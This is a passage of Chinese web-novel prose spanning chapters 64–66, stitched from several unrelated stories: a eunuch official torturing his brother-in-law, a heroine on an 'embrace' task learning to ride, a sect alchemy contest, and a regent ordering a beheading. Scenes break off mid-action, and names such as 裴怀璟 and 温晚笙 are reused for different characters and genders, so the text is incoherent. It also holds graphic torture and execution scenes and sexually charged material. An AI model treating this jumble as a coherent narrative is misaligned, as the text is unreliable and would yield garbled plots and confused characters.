他垂眸打量着脚下的人,任由杨元兴在他脚下扭动好久,才不紧不慢地把脚放下来,不等对方再有动作,他先一脚踢在对方肩上。 这一脚他用了十足的力气,直接把杨元兴踢出去一尺远。 紧接着,两名暗卫一手押住他的两臂,一手拽住他的头发,狠狠让他仰起头来,直直对上时序的眼睛。 四目相对,两人反应各有不同。 饶是时序早有心理准备,在见到杨元兴面容后还是忍不住闭上眼睛,心潮澎湃翻涌,分不清是喜悦多些,还是悔恨多些。 杨元兴则是震惊极了,两眼瞪得极大,塞满抹布得嘴张得也开,整个人露出一副滑稽表情来。 他的目光从时序脸上滑过,又去看他的打扮,依他的眼界是看不出时序那身衣裳的好坏的,但光是时序腰间的那枚玉印,就足叫他垂涎。 发达了。 一时间,杨元兴脑子里只剩这一个念头。 震惊过后,他的挣扎更为剧烈了。 “唔唔——唔!”杨元兴面露激动,头上手上的痛感叫他眼尾溢出泪来,可他宁愿加剧这份痛苦,也要使劲往时序的方向扭。 半晌过去,他的双臂已失去知觉,头皮也阵阵发麻,可从侧面看,他的位置却没能移动分毫,所谓离时序近些也只是他自己的臆想。 又过一会儿,时序开口:“放开他。” 暗卫领会,只将杨元兴嘴中的抹布扯出来。 毫不意外,杨元兴张嘴就是大喊一声:“姐夫救我!” “姐夫,姐夫我是元兴啊,我是杨二丫她弟弟,姐夫你还记不记得我,我之前还在你家住过的!姐夫救我——” 听见熟悉的名字从他嘴里吐出来,时序笑了。 他缓缓走到杨元兴跟前,抬手捏住他的下巴,手下力道一点点加重,直到见他龇牙咧嘴快要承受不住才停。 时序轻声问道:“元兴,你怎么还有脸,提你姐姐呢?” 杨元兴面容一僵,眼中闪过慌乱:“我、我……姐夫你说什么,姐姐、姐姐——对!姐姐不久前刚病逝,临终前嘱托我带温晚笙来找你啊!” “姐夫你不知道,我们这一路走得好辛苦——”他假装哀嚎,扯着嗓子喊了半天,眼睛却没落下一滴泪。 时序等他全部喊完,面上的笑容也愈发深刻。 好不容易等杨元兴闭上嘴,他才算有机会插一句:“嗯嗯,你说的我都知道,好好好,元兴可是辛苦了。” “不过我有一事好奇,不知元兴可能解答我?” “姐、姐夫你问。” “我就想问问,你是有着怎样一颗歹毒的心,才会想着把自己的亲外甥女,卖到烟花之地去呢?” 话落,杨元兴整个人都僵住了。 时序并不奢望能听到他什么回答,扯了扯嘴角,笑容叫人不寒而栗:“杨元兴,你可真该死啊。” “姐、姐夫……啊——” 时序手下一个用力,直接卸掉他的下巴,见他口中控制不住地流出口水,嫌恶地后退一步。 “嚯嚯、嚯……”杨元兴已经没有初时的激动了,唯余恐惧。 时府的刑具不多,多是之前审讯探子时留下的,有的放置时间久些,上面的血全干涸了,混着厚厚一层泥土,再次接触到血液后一齐渗透进伤口里,效果只比粗盐略差些。 只需时序一个眼神,这些东西就被暗卫把持着依次从杨元兴身上试过。 时序爱干净,挑挑拣拣半天,只看上那副崭新的银针。 等最后一根带有倒刺的鞭子抽断后,他抬了抬手,使暗卫退后。 此时的杨元兴身上的绳子已经解开了,但他全身倒在血泊中,除了不时抽搐两下,根本做不出其余动作。 时序走到他跟前,屈膝蹲下去,惋惜叹道:“可惜府上没有新鞭了,不能叫元兴尽兴,只能等下次了。” 下次? 听见这话,杨元兴一口气没喘上来,险些晕过去。 在他惊恐的目光中,时序取出银针,足足一百零八根,一点点插进他裴身穴位中,轻轻捻动针尾—— “啊啊啊!” 撕心裂肺的惨叫声响起,惊飞枝头停歇的鸟雀。 看来今晚要露宿街头了。 她赶紧领着少年道谢,催促他赶紧赶路。 妇人心中那点不忍终究还是作祟。她拉紧女儿的手,忽然出声唤住两人,“夜路怕是不安全,况且二位受了伤,若是不嫌弃寒舍简陋,或可在此借宿一晚。” 温晚笙两眼顿时亮了起来,“可以吗?会不会不太方便” “出门在外,谁都有落难的时候,能帮一把,总是好的。”妇人笑了笑,迟疑的目光在两人之间流转,尤其是在少年身上定了定,“只是家中实在狭小,能住人的空房,只剩一间了。不知二位是…” “我们” 一直沉默着的少年忽然出声,温晚笙赶紧捂住他的嘴,笑眯眯抢答:“我们是夫妻。” 第 64 章 第 64 章 烛火摇曳的屋子里,一男一女相对而立。 谁也不想先开口,空气里弥漫着一股说不清的古怪沉寂。 方才秀娘,也就是那名好心妇人,不仅给他们送来了吃食,还特意烧了热水。 只不过端进屋时,她带着几分羞赧窘迫的笑。 因为那水,只够一人洗。 因而她犹豫了片刻,低声询问他们可否将就着一起。 温晚笙自然拉着自己的‘丈夫’,脆生生应了声好,神态自然得很。 秀娘见他们新婚燕尔感情如此好,便不再忧心了。 “我们”温晚笙脑瓜子一转,想到绝妙办法,“剪刀石头布,谁赢谁洗?” 温晚笙干脆放弃挣扎,抹去被挤出来的汗,看起了热闹。 一辆以红木为架的花车被两匹马拉着,缓缓地从街头驶来,后面还跟着一行人吹竹调丝。 只见花车四面镂空,扶手系着仙气飘飘的丝绸,后方放着一个由成千上万朵花堆积而成的花球,夹板上站着传说中的花魁。 温晚笙看完花车,看花魁。 花魁头簪珠钗,脸蒙紫纱,花钿点缀额间,身披薄衫,腕间与腰间堆满叮当响的饰物,在花车上翩翩起舞,身体轻盈如云。 随着众人欢呼声增大,花魁媚眼如丝,左手持一枝花,右手揭纱,慢慢露出底下的花容月貌。杏脸桃腮,金发碧眼,朱唇皓齿。 她是个胡姬。 温晚笙本来还在为不能成功抱到裴怀璟而垂头丧气,现在有被胡姬美到,不禁瞪大眼睛继续看。 西街有很多类似的活动,温晚笙以前来这里也遇到过两三次,当时没多少感觉,现在却喜欢了。 一男子瞧温晚笙被惊艳了的样子,还以为她没见过这等场面。 又见她生得不比花魁逊色,甚至还要出挑,他起了心思,殷勤道:“姑娘第一次来西街?西街每个月都有一场花魁游街。” 温晚笙敷衍地点了点头。 男子使劲表现自己见多识广:“花魁只在西街待半个时辰,然后沿着东街表演,最后出城,一路上不知道能赚多少银子。” “原来如此。”温晚笙没拂面子,她早听说过花魁游街的规矩了,没想到今天恰巧碰上而已。 “姑娘一个人来的?” “嗯。” 男子得到她的回应,备受鼓舞:“今天的这个花魁在京城里很有名,也极少参加花魁游行,目前为止只有两次,不少人一掷千金就为博她一笑。” 她道:“这样啊。” 男子还在没话找话:“说来也奇怪,花魁游街一向在月末,今天才中旬,怎么就提前了?” 温晚笙对男子说的话左耳进,右耳出,现下只想看花魁。 片刻后,花车里又走出一个俊俏男子,模样气质与花魁相当,行至花魁面前,俯下身,抬眸看她,随后张嘴咬住她手里那支花。 花车下面瞬间因此炸开了锅,鼓掌声起哄声此起彼伏。 男子视若无睹,充耳不闻,舌尖灵活地攀着花枝朝前,落在娇艳欲滴的花瓣上,却没咬下,眼睛自始至终没离开过花魁。 西街两侧高楼坐的都是些爱看热闹趣事的贵人,他们吩咐仆从站窗前往街上花车空地扔银子,以这样的法子催促花魁二人继续。 花魁含笑扫过那些银子,纤手点了一下男子颈间喉结。 这仿佛是他们之间的信号,男子身子再往前倾,染了胭脂的唇贴上花魁手背,含吻过后咬住她手中花瓣,像臣服侍主的狗。 男子不以为耻,反以为荣,在众目睽睽下,他将花一点点地嚼碎,吃进口中,鲜花汁把唇染得更红更艳,比花魁更有几分媚态。 渐渐的,花车又多了不少银子,四周欢呼声就没断过。 男子咽下花,作仰头欲亲花魁状,却被她轻轻按住头,往下压,花魁穿了双改良过的草鞋,上面插着花,衬得她双足如玉。 他几乎是匍匐在花魁脚下,探头去吃草鞋边缘的花,可挨得她双足太近,舌尖极易碰到。有好几次,他都舔到了她的脚。 高楼的银子接着洒落,却没有伤到行人,精准投掷到花车。 温晚笙从旁边买了袋炒栗子,一边剥来吃,一边感叹真不愧是限制文,连花魁也搞那么多花样,既出乎意料,又在情理之中。 今天应该也是不能完成任务的了,那就留下来看他们放松放松,以抚慰她备受打击的心。 金色阳光斜洒到他们身上,映着裴馨宁转惧为笑的脸。 夏子默也牵着一截缰绳,防止她控制不住马,一双眼睛没离开过裴馨宁,目光直白坦率,明眼人一看便知他对她有情意。 温晚笙想,这厮就是靠着一张好皮囊和一张会说话的嘴获得了裴馨宁的芳心,抱得美人归。 想到抱这个字,温晚笙被迫回归现实,面对要抱裴怀璟的任务。 裴怀璟感受到温晚笙的心不在焉,顺着她视线看去,看到裴馨宁和夏子默,尽管他们并无逾矩举动,但就是有似有似无的亲昵之意。 他面无波澜,随口问:“温七姑娘在看什么?” “我在看令韫。” 温晚笙微歪了下头,绑发丝绦沿着肩头掉落,在半空荡来荡去,橙色夺目,颜色深浅不一,逐渐往上过渡,有色彩流动着的错觉。 丝绦通常会沾染上本人的味道,发香随风四散,扑鼻而来。橙色丝绦闯入裴怀璟眼里,很浅的发香钻进他鼻间:“只看她?” 她看着他:“不然呢?” 裴怀璟笑了笑:“听说大多数京中贵女都想嫁给世安侯府的夏世子,我还以为你也有此意。” 什么?她喜欢夏子默?谁造的遥?真缺德。温晚笙眼角抽搐,脱口而出:“没有,绝对没有,我又不是看不出令韫心悦夏世子。” “我妹妹心悦夏世子,也并不妨碍你心悦他,不是?” 温晚笙按了下还在跳的右眼皮:“裴大人,冒昧问一句,你为什么会以为我心悦夏世子?” 裴怀璟直视她,不急不慢道:“你若对夏世子无意,怎会暗中派人查他的喜好,记录在册?” 翌日。 晨光稀薄地漏进院子,温晚笙寻了一圈,不见秀娘踪影,问小姑娘:“你阿娘呢?” 小姑娘低着头,在沙土上用树枝划着歪扭的笔画,头也不抬,“阿娘去街市上换东西啦。” 温晚笙眨眨眼,“那她大概什么时候回来?” “中午。”小姑娘终于停下,犹豫着将手里另一根细枝递过来,“仙女姐姐,你也一起嘛!” 温晚笙本来想直接走,但看着她期待的小眼神,又有点不忍,“好。” 算了,中午同秀娘打过招呼再启程吧。 小姑娘似乎很爱写字,温晚笙也乐意教她,时不时握着她的手腕指点。 学马的第一步自是上马,若连马都上不去,谈何骑马。 温晚笙站在马的左侧,目光灼灼,既有对即将上马的兴奋,也有对学习陌生事物,怕自己会失败的紧张,暂时将任务抛之脑后了。 相比于她面对马的激动,裴怀璟倒是显得很平静。 锦衣卫总是会奉命行追捕之事,为截停对方,他们几乎无所不用其极,杀人杀马皆是平常。 他骑过马,也射杀过马,看着它身体微微抽搐,痛苦挣扎,发出弱弱的哀鸣声,有些还会落泪,最终四肢垂落,难逃死亡。 裴怀璟对人的生死没多少感觉,对马的生死更没感觉了。 见温晚笙站在马侧,迟迟没提要上去,他将这匹马的缰绳递过去:“温七姑娘,上马吧。” 她伸手去拿,指尖不小心擦过他,裴怀璟视线在他们相碰的皮肤一顿,慢条斯理收回手:“左脚踩马镫,手扶马,稍用力即可。” “好。” 温晚笙按照他说的做,结果上不去,马会乱动。不服输又试几次,仍然不行,弄得她出了层薄汗:“裴大人给我示范一次?” 裴怀璟原本作壁上观,听温晚笙这么说,上前去顶替了她的位置,在马还走动时就上去,只见他身体轻松地落马鞍,长腿稳踩马镫。 他没在马上待多久,上去后便下来了,留时间给她学。 温晚笙趁裴怀璟下马的时候,眼神绕他的腰转了一圈。红色蹀躞带收束窄腰,无论是从正面侧面看都很劲瘦,却又不失力量感。 有那么一刻,温晚笙差点想从他后面偷袭抱过去了。他背对着她,是个抱人的好时机,但从后面拥抱人像是在示爱,后果极可能是她承受不住的,故此忍住了。 她强行转开因为想完成任务而快要黏到裴怀璟腰间的眼珠子。 裴怀璟却在此时看向温晚笙,恰好撞见她瞟他腰的最后一眼。他下意识低头看自己腰间有什么,一只香囊,一枚玉佩,一把防身的锋利匕首,没特殊之物。 可方才她那个眼神分明是渴望得到什么东西的。 他遇到过数不胜数的犯人,尤其喜欢在审讯期间注视他们的眼睛,从中提取出他们的想法,是恐惧,是厌恶,或是宁死不屈…… 不管人有多么想掩饰自己的情绪,也没法完全控制住自己的眼睛,会不由自主流露出来。 只是写着写着,不知怎的,一股燥意却从骨头缝里钻出来。 起初只是隐约,逐渐成了燎原之势。 她将左袖挽起一截,露出一段白皙小臂。 很快,连右边也挽了上去。 最后,她甚至想将衣裳脱了。 小姑娘被她这不同寻常的模样吓住了,“仙女姐姐你怎么了?” 温晚笙甩了甩越来越沉的脑袋,双颊泛起不正常的潮红:“我好热啊,你不热吗?” 眼睛撒不了谎,况且裴怀璟的直觉很少出过差错。 所以,温晚笙渴望得到什么?香囊?玉佩?能杀人的匕首? 裴怀璟不动声色握了握紧手中缰绳,若无其事地对正在摸马鬃的温晚笙说:“你再来试一次。” 她看似被屡次失败打击到了,有点犹豫靠近马,却趁裴怀璟不注意,用余光瞄他:“我要是摔下来,裴大人你会不会接住我?” “学骑马最忌讳的就是怕,温七姑娘越怕越学不会。” 他没正面回答她的问题,温晚笙却能透过这句话猜到裴怀璟的答案,他不会的,他不会接住她。一旦她假装从马上掉落,只会受伤。 温晚笙抿唇,想借佯作掉马来被他接住,再装作害怕张手抱住他的办法不可行,需另谋良计。 她抬起腿,脚踩马镫,作出一副很想上去却又怎么也翻上不去的样子。前几次是真不会如何正确上马,这次是有意而为之。 “还是不行。”温晚笙眼底狡黠一闪而过,抬头后只剩懊恼。 被她利用了的马甩了甩棕黑长尾巴,打个响鼻,朝前走一步,百无聊赖地去吃地上杂草。 温晚笙怕自己牵着缰绳会勒到朝前走的马,顺着它走动而走。 裴怀璟蓦然地探手过来,越过她的手臂,握住前面一截缰绳往回拉,马被迫仰头:“牵马是让你牵着马走,不是让马牵着你走。” 缰绳控制着马,他一拉,马无法再像刚才那样随心所欲觅食,呜咽叫了几声,往后退回来。 “你得注意一下。”说罢,裴怀璟将缰绳还给她。 温晚笙安抚性又摸了摸顺滑的马鬃:“不是说想骑好马,就要跟马搞好关系,和它处成朋友?” 裴怀璟目视前方,和气道:“我不知道旁人学骑马的方式,我只知道我最初学骑马的方式便是控制它,彻彻底底控制它。” 她心里揣着事,心不在焉地哦了声,看一眼马场的另一边。 裴馨宁在夏子默帮助下已经上马了,远远一看神似一对才子佳人,女子面如桃花,身姿窈窕,男子傅粉何郎,身姿挺拔。 骑马跟在地上行走差别甚大,裴馨宁胆子小,情不自禁发出害怕的求助声。每逢这时夏子默会笑着看她,说几句逗人开心的话。 奇怪,四月的天怎么像八月。 “不热呀。”小女孩茫然地摇摇头,“姐姐你是不是发热了?” 温晚笙摇了摇头,试图站起身,腿脚却是一软。 一只手臂稳稳地自后方揽住了她。 冰凉的触感顺着手臂传入骨髓,像一股清泉。 温晚笙发出舒服的叹息,呜咽出声,本能地贴靠过去。 随后,她听到了迟来的任务惩罚。 第 65 章 第 65 章 “惩罚?”温晚笙迷迷瞪瞪地在心里问。 回应她的,只有一阵愈发汹涌的燥热。 那热意很奇怪,像是从骨缝深处漫出来的。 缓慢、酥麻,仿佛有什么无形的东西顺着血脉游走,将她的理智一点点蒸干。 恍惚间,她感觉自己被赤裸裸地悬置于一轮永不坠落的烈日之下。 头顶是无云的天,脚下是滚烫的地。 四面八方,皆是刺目到令人盲眼的光,与粘稠到令人窒息的热。 男人总好怜香惜玉,见到漂亮姑娘掉眼泪,一个个的便心疼的不得了,哪里还会出言指责。 “洛清师妹不必自责,白芷师妹只是暂时离开,等她的位阶升上去了,以后还有机会,洛清师妹是羽朝的公主,又是师尊新收的徒儿,自然要来丹心阁听课,白芷让一让新师妹又有何妨?” 几个男弟子围在羽落清身边,像开屏的公孔雀一样展示着他们廉价的善意,“况且医宫宫主也时常授课,白芷师妹若是得医宫宫主真传,以后还愁进不了丹心阁么。 姚蓉蓉常去医宫,和白芷关系不错,看见这一幕顿时怒气冲天,从第十二席位上站起身怒斥羽落清。 “能进丹心阁的人谁不是日夜苦学,花了多少心血和努力才能来这里听我师尊讲课,明明是你占了白芷好不容易得到的位子,你又在这里哭什么,好像自己有多可怜似的,你既然不懂药理,就该识趣点,立刻离开丹心阁,把位置让给白芷。” 一身白衣的羽落清流着眼泪,哭的梨花带雨,声音哽咽地说道:“我刚来碧海潮生,对这里的规矩一窍不通,姚师姐若是生气,那我离开丹心阁就是,可我是懂药理的,并不是师姐眼中那种对医术一窍不通的人。” 羽落清一袭白衣,梨花带雨,楚楚可怜。医仙月扶疏。 一身白衣,纤尘不染,每当他一出现,原著中都会出现大段大段的关于他外貌的文字描写。 什么霜雪天降,什么凛若冰霜,什么超尘脱俗,什么白衣谪仙 对于谢衡之这种只爱看剧情的人来说,每次看到这一堆文字就脑壳痛痛。 她还没穿书那阵,流行高岭之花。 月扶疏就是一朵顶配的高岭之花。 原著中战力第一,武功深不可测,长得倾国倾城,说话声好像渺渺仙音,周身自带一股神秘的冷香,还是金月王朝的皇太子,也是站在王座上俯视众生的帝王。 在一本充满了狗血的女主后宫像言情文中,他简直独树一帜。 他没为女主受过伤,没为女主吐过血,没为女主流过泪,也没为女主伤过心。 在谢衡之心中,其他角色虽然各种病态,但他们都有一种人的感觉。 只有月扶疏似乎被抽离了所有属于人类的感情,也缺乏一个人物角色该有的血肉感,更像一个完美无缺的符号。 一个象征着无上美丽和滔天权势完美符号。姚蓉蓉心中暗觉不妙,她终于发现这个羽朝公主并不像她想象中那样一无是处。 她很会隐藏,具有相当深的城府,她像个经验老道的猎手,勾引猎物跳入她设下的陷阱之中。 羽落清没有行过拜师礼,岛上的弟子一直对她颇有微词,就是想在弟子中建立起她的声望,就必须选一块有分量的踏脚石。 姚蓉蓉忽然发觉——她就是羽落清选择的那块踏脚石。 羽落清的炼丹术在她之上。 尽管姚蓉蓉很不想承认这一点。 拉弓没有回头箭,只能咬着牙继续下去。“咳……咳咳!悬赏令,是我挂的……又如何?!你欺新帝年幼、蒙蔽圣听,只手遮天,致使天下只知你摄政王燕歧而不知皇帝,如此不忠不义,人人得而诛之——” 暗室内,烛火幽微,摇曳一片阴湿冷寂的光影。 地上趴着一个血肉模糊的人,正扯着嗓子嘶吼。 而巴掌大小的一片光晕舔舐上桌角,在漆黑中晕染开,隐隐勾勒出一身绀青色的华丽衣袍。 燕歧端坐在木椅上,简单的木椅被他坐出了金雕玉砌的效果,一双深邃的鹰眼中蕴着凛冽的锋芒,冰冷无情,淡淡一扫,就令一级台阶之下的人头皮发麻,嘶吼声戛然而止。 燕歧轻轻旋转着右手拇指上的白玉扳指,上好的和田玉上镌刻螭龙纹路,旋转间流淌过烛火细微的光泽。 “卫三。”嗓音寒凉。 暗室一角,阴影之中,一名暗卫应声上前,一把薅住地上那人的头发,将对方的脑袋抬起。 燕歧微微向前倾身,依旧毫无表情,淡声问:“谁指使你的?” “无人指使!” 燕歧却像是没听到一般,用陈述般的语气自顾自说下去:“永王乱党。” “不、不知所云!我不过是看不惯皇帝被欺辱至此的一名无名忠义之士!要杀要剐随你!” 即使那人潜藏的很好,但声音中一闪而逝的失措,还是被燕歧敏锐地察觉到了。 “呵,忠义之士。” 燕歧直起身子,轻轻倚靠在椅背上,微微抬起手腕,食指向外微动,做出一个推开的姿势。 “拖走,处理干净些。” “是。” 卫三下手狠厉,瞬间砍下了台阶下那个人的头颅,拖出去交给了暗室外的暗卫。 “主子,”卫三垂头请示,“枕水楼关于主子的那个悬赏令,要不要通知一声,让那边清掉?” 燕歧起身向暗室外走去,淡声开口:“不必,挂着吧。” “是。” 抬脚走了两步,燕歧忽然停下脚步,声音柔和下来,甚至带了一丝温柔的笑意:“对了,安安他还没出师呢?” 卫三知道他家主子说的是那位,每次提到时,就连周身的气场都瞬间不一样了。 卫三的声音里也带了一些轻快:“是,郑楼主为了让他没法出门乱跑,每次都让他抽到无法完成的出师考核。” 燕歧在原地站定,不自觉地抚摸了一下耳侧头发中垂下的一小段红绳,无声笑了一下。 “告诉郑长柏,刺杀本王的这个悬赏令,想办法让安安揭下来。” “是。”卫三领命而去。 丹场中围观的弟子们已经小声议论起来。 “真是没想到,洛清师妹居然如此深藏不露,炼丹术竟然如此厉害!” “姚师姐是岛主的亲传弟子,居然比不过一个刚拜入师门的羽落清。” “可见洛清师妹的天赋远在姚师姐之上,怪不得岛主会收她为弟子。” “先前我们以为岛主只是看在皇室的面子上收她为徒,这场比试终于可以为洛清师妹正名了。” “既然名副其实,那拜师礼也应该找个时间举行了吧?” “啊这这可不好说,你又不是不知道岛主有多看重小太岁。” 提起小太岁,众人讨论声诡异顿时一静,气氛顿时有些冷滞。 过了半晌,才有个弟子酸溜溜地说道:“是啊,论受宠,谁能比得过小太岁,就连辨别药材这种微末小事,都是岛主手把手教她的。” 月扶疏冷心冷情,虽然名下有几个弟子,但弟子们都是在丹宫医宫同其他弟子们一同上课,只有涉及到极其深奥的的药理知识,才能得到他的指导。 小太岁在碧海潮生的地位仅次于月扶疏,就连各宫的宫主们见了她,都要恭恭敬敬的喊一声小太岁。 这种独一份的偏爱和荣宠,太让人嫉妒了。 “谁能和小太岁相比,咱们还是老老实实的看眼前的热闹吧。” 那个穿着碧色衣衫的女弟子和白芷站在一起,面带忧虑,喃喃说道:“情况不太妙啊。” 白芷站在她身边,紧张地握紧了拳头。 另一头,裴怀璟已经跑到了丹场旁的林子里,因为要砍柴炼丹,丹场附近都是郁郁葱葱的密林。 裴怀璟这几天到处转悠,遇到过好几个马蜂窝,她记忆力极强,把这些马蜂窝的位置记得一清二楚。 一颗参天巨树下,马蜂振翅的嗡鸣声清晰地传进裴怀璟的耳朵。 马蜂窝就藏在葱郁的枝叶里,得爬上树才能找到。 裴怀璟身姿轻盈地飞上树,一头钻进了巨大的绿色树冠里。 她在一根枝杈上站定,刚一抬头,就看见脑袋上方的枝条里垂下一截雪白色的裙摆。 在绿叶的掩映中,那一截裙摆像一朵白色的山茶花。 裴怀璟猛地愣了一下。 她这种常年下地干活的人,对生人的气息最是敏感,不成想这么个大活人隐藏在树冠里,她愣是一点没发现。 难不成尸毒降低了她的警觉性? 这个符号,表达了一种女性对男性的极致想象,也许比起正真的男人,她们更爱自己的幻想。 她们的幻想会赋予一个男人无上的魅力。裴怀璟很是自来熟,“我就是为了马蜂窝来的,姚蓉蓉你知道吧,正和一个叫羽落清的人比试丹药呢。” “这两件事之间有什么关系吗?” 裴怀璟已经找到了马蜂窝,马蜂窝比成年男子的脑袋还要大上两圈,一群黑色的大马蜂正绕着蜂窝嗡嗡的飞来飞去。 裴怀璟脱下身上的外袍准备套住蜂窝,对那女孩说道:“你和羽落清关系好么?” 女孩的声音冷冷的:“不好。” 裴怀璟一乐:“行,我告诉你,我不想看姚蓉蓉输,正准备把马蜂窝扔到丹场上,闹出乱子后我再趁乱打碎她们的丹炉。” “姚蓉蓉说丹场林子里的马蜂很毒,被咬到的话很难受。” 裴怀璟刚要用衣服包住马蜂窝,那个女孩又说道:“没有用的。” “怎么没用?” “有月扶疏在,这些马蜂根本不敢在丹场乱飞。” 裴怀璟傻眼:“啊?那怎么办?” 枝条抖动起来,穿着白衣的女孩像只轻盈的白鸟,落在裴怀璟站立的枝条上。 羽落清令人讨厌,但实在美丽,因为在原著设定中,羽落清是一位拥有绝世美貌的女主。 但眼前这个女孩,居然比羽落清美貌十倍,啊不,是一百倍! 这是一种超脱人类的美貌,美的仿佛和其他人不在一个次元,美的好像老天爷单独给她开了十级滤镜。 她皮肤太白了,把她身上洁白如雪身上的白衣都衬得黯淡了。 奈何裴怀璟没文化,一声卧槽走天下。 呆愣许久后,当一声“卧槽”吞口而出时,这位拥有绝世美貌的女孩看了裴怀璟一眼。 她的眼眸居然是紫色的,有种和人间世俗格格不入的精致和美丽。 在绝对的美貌面前,裴怀璟都不敢大声说话了,很小声地嘀咕道:“我的妈耶,BJD娃娃成精了吧?” 女孩的紫色眼睛又看了裴怀璟一下。 “你叫什么名字?” 裴怀璟抱拳说道:“在下名叫裴怀璟,敢问小仙女如何称呼。” 小仙女说道:“我叫温晚笙。” 裴怀璟真心实意地称赞道:“春水碧于天,画船听雨眠,真是好名字啊。” “裴怀璟这个名字也很不错,清热祛湿,通经活络。” 裴怀璟笑了:“不愧是学医的,很少有人知道我的名字是一味药。” 她穿好外袍,又看了一样马蜂窝,语气很遗憾:“马蜂窝没有用,看来姚蓉蓉注定要被打脸了。” 温晚笙轻声说道:“那可不一定。” 她漂亮的手指轻轻弹了一下挂在腰间的银薰球。 那是个十分精巧华丽的银熏球,上面镂空的花纹很是精致,柔枝劲蔓,簇结缠绕,更有一阵奇特的淡香幽幽传来,闻起来沁人心脾神清气爽。 温晚笙像只白鸟似的飞下树:“走吧。” 裴怀璟也跟着跳了下去,疑惑道:“去哪?” 温晚笙说道:“丹场。” 当一个男人只存在于幻想中时,他便会永远屹立不倒。 一旦这个男人从幻想中走出来,有了实体,他就像被嚼碎的甘蔗。 谢衡之此刻,心如止水。 裴怀璟还在一旁嘀咕:“我知道比例不对,但这并不妨碍我将他认作一坨鸟屎,就像那句话,道理我都懂,可是这鸽子怎么这么大。” 在裴怀璟心中,这火爆全网卖了超多版权的原著就是一坨屎,所以书中的人物在裴怀璟眼中也不怎么样,全踏马的一坨屎。 她没怎么度过原著,就潦草地翻了几页,对书中的角色没有什么敬畏心,自带袪魅特效。 谢衡之知道裴怀璟和自己的不同,裴怀璟是个非常自我的人,她从小到大都是别人眼中的焦点,习惯了被追捧,也习惯被人簇拥在人群最中心。 她认为自己是世界上最好的人,值得最好的一切,她对自身有一种包容和深刻的爱,她比任何人都懂得怎么爱自己。 谢衡之就很敏感,曾经的她非常注重别人的眼光,总想活成别人眼中的样子。 姚蓉蓉一身黄衫,怒气冲冲,娇俏蛮横。 气氛正僵持不下,便有一个男弟子说道:“岛主和羽朝皇室交好,羽师妹来丹心阁也是医宫宫主的意思。” 医宫宫主是羽朝的人,自然是向着羽落清的。 姚蓉蓉顿时更生气了,道:“师尊传授的药理是何其深奥,她药材都没认全呢,就想一步登天?她来丹心阁就是浪费位置。” 羽落清含泪说道:“姚师姐,我刚刚说过了,虽然我刚来碧海潮生,可药材是认全了的。” 姚蓉蓉冷笑一声,正要反唇相讥,一只有力的手掌突然搭在她的肩膀上,重重往下一按。 猝不及防之下,姚蓉蓉直接被按在了座位上,她抬着脑袋,看着站在她身前的白衣青年。 “大师兄,你这是干什么!” 白衣青年长了一张温润如玉的脸庞,眉目如画,仙气飘飘,正是姚蓉蓉的大师兄温之声。 姚蓉蓉眼眶一红,“大师兄,连你也要帮着她吗?” 温之声一出手,吵闹的丹心阁顿时安静了,一堆人齐刷刷地看向温之声。 一日一夜,马不停蹄。 谢衡之那双素来清明冷静的眼眸,因彻夜未眠,隐隐泛起血色。 皇家已遣人前来寻查,命他即刻回京。 他这一生,从未偏离过礼教典范。 若在从前,他断不会犹豫分毫。 可此次,他抗了命。 是他没护住她。 他一定要找到她他们。 第 66 章 第 66 章 裴怀璟的动作缓缓慢了下来。 一股无力感如冬日冰水,自四肢百骸漫上,无声无息地将他吞没。 他竟这般无用,既止不住她灼人的温度,亦不能代她承受。 凉意即将消散的那刻,温晚笙不适地拧起了眉头。 她在混沌中本能地追寻慰藉,紧紧攥住身边人的衣襟。 “别走还要” 原定于今日的公务因温晚笙的到来一律延后,午后时一和时二带着整理好的宗卷过来,时序却是看也没看一眼。 此时温晚笙的身份已在府上传遍,凡是进到府里的,从一进门口就要被叮嘱一遍,等要进西厢的小阁楼了,还要被拽去旁边再叮嘱一回。 旁的也不用多说,只要讲一句:“大人亲口说的,那是他女儿。” 别管亲的干的,反正是掌印陪了整夜、至今没分开的女儿。 时一和时二也算最先见到温晚笙的,无疑也是受到冲击最大的。 府上不明所以的下人们或许还会猜测这是掌印新认下的干闺女,但他们两个作为最先跟着时序的,也曾有幸知晓过掌印的过去,稍一思索,不说能明白个彻彻底底,也是能猜得大差不差了。 想明白这些后,时一的冷汗当即就下来了。 他在小阁楼门口磨蹭半天,方在时二的催促下进去,才进内里就瞧见被抱在怀里的温晚笙,睁着一双清澈的眼睛,直勾勾地盯着他。 温晚笙只是好奇,这才多看了一眼。 然这落在时一眼中,简直就是无声的问罪,叫他一下子止住脚步。 时序听见声响望来,目光顿了顿,视线落在时一腰间的佩剑上,他稍稍敛目,淡淡问了一声:“你那风箫用着可还顺手?” 风箫和雨簌,就是时一和时二的佩剑。 两把剑乃是前朝名匠所出,辗转流落到时序手中,因他不擅武艺,留着也是浪费,便寻了个由头,被他赏了出去。 伴着他不冷不热的尾音,时一咚一声跪伏下去,第一时间摘了佩剑,额头抵在地上,半天不敢吱声。 他一想到之前在府外威胁温晚笙的一幕,简直恨不得给自己两个巴掌。 看你有眼无珠!拔到老虎须了吧! 几人的交合只发生在瞬息,温晚笙默默看着,唯见时一一言不合就下跪时圆了眼睛,忍不住去打量时序的神色。 她自以为动作很是隐蔽,未曾想她刚转头,就对上时序含笑的眸子。 “!”温晚笙一惊,扶在对方肩头的小手一紧,“阿、阿爹……” “怎么?”时序问道,“还记得他们两个吗?先前他们对你无礼,实是不该,既然他们两人过来了,那就好好给阿归赔个礼、道个歉,之后你再说如何惩罚他们,只要能叫阿归高兴,便全听你的。” 在他说话时,从进来就沉默的时二也跪了下去,与时一仅一拳之隔。 两个难兄难弟,全垂着脑袋,远远看来浑身散发着颓丧气。 温晚笙听完,轻轻“啊”了一声,目光在他们两人和时序之间来回变换,好久才想明白其中的含义。 但是—— “可是,我觉得他们也没有错呀……我是来找阿爹的,所以不会伤害您,可若是有坏人过来,他们若没能早早赶走,伤了阿爹怎么办?” 温晚笙一本正经道:“所以他们赶我走是应该的,阿爹应该夸他们尽职尽责,叫他们继续努力才对,不能惩罚的。” “我没有不高兴,先前发生的我已经全忘掉啦!” 她弯了弯眼睛,反手抱住时序的胳膊,低头在上面亲昵地蹭了蹭,摇头晃脑的,瞧着确没有不悦情绪。 屋里一时安静。 片刻,时序反手搂住她,插空瞥了时一两人一眼:“还不起来?” 两人已做好被训斥的准备,便是最后将两把佩剑还回去也不敢有丝毫怨言,却不想就跪了这么一会儿,就结束了? 掌印发话,他们自不敢耽搁,赶忙站起来,不忘将地上散落的长剑带上。 时一抬起头来,仍是不敢置信。 